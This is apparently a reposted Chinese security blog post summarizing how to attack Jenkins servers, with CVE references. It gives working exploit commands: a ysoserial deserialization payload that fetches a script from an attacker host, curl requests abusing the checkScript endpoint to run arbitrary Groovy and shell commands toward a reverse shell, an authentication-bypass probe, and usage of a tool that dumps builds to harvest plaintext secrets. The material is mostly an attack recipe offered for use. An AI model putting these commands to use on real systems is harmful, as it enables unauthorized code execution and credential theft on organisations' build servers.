【漏洞利用】关于攻击 Jenkins 服务器的注意事项

admin 2022年10月5日23:10:19评论72 views字数 2436阅读8分7秒阅读模式

点击上方蓝字“Ots安全”一起玩耍

【漏洞利用】关于攻击 Jenkins 服务器的注意事项


远程代码执行

旧 Jenkins 中的反序列化 RCE(CVE-2015-8103,Jenkins 1.638 及更早版本)

使用ysoserial生成有效负载。然后 RCE 使用这个脚本:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out./jenkins_rce.py jenkins_ip jenkins_port payload.out


身份验证/ACL 绕过(CVE-2018-1000861,Jenkins <2.150.1)

详情请看这里。https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

如果 Jenkins 请求身份验证但使用以下请求返回有效数据,则它很容易受到攻击:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a


Jenkins 插件中的元编程 RCE(CVE-2019-1003000、CVE-2019-1003001、CVE-2019-1003002)

  • 原始 RCE 漏洞在这里

https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

  • 完整利用在这里

https://github.com/petercunha/jenkins-rce

  • 具有整体/读取和作业/配置权限的替代 RCE在这里

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc


Jenkins 中的 CheckScript RCE(CVE-2019-1003029、CVE-2019-1003030)

使用 Groovy 检查 Jenkins 实例是否易受攻击(需要整体/读取权限):

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

执行仲裁 bash 命令:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

如果您没有立即获得反向 shell,您可以通过抛出异常进行调试:

curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'


Jenkins 中的 Git 插件 (<3.12.0) RCE (CVE-2019-10392)

只有当用户在安全矩阵中具有“作业/配置”权限时,它才有效,因此它非常具体。


转储构建以查找明文秘密

使用此脚本转储构建控制台输出和构建环境变量,希望能找到明文秘密。

usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]                              [-l] [-r] [-d] [-s] [-v]                              url 

Dump all available info from Jenkins
positional arguments: url
optional arguments: -h, --help show this help message and exit -u USER, --user USER -p PASSWORD, --password PASSWORD -o OUTPUT_DIR, --output-dir OUTPUT_DIR -l, --last Dump only the last build of each job -r, --recover_from_failure Recover from server failure, skip all existing directories -d, --downgrade_ssl Downgrade SSL to use RSA (for legacy) -s, --no_use_session Don't reuse the HTTP session, but create a new one for each request (for legacy) -v, --verbose Debug mode

更多内容参考原文:https://github.com/gquere/pwn_jenkins

【漏洞利用】关于攻击 Jenkins 服务器的注意事项


原文始发于微信公众号(Ots安全):【漏洞利用】关于攻击 Jenkins 服务器的注意事项

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月5日23:10:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞利用】关于攻击 Jenkins 服务器的注意事项http://cn-sec.com/archives/1105603.html

发表评论

匿名网友 填写信息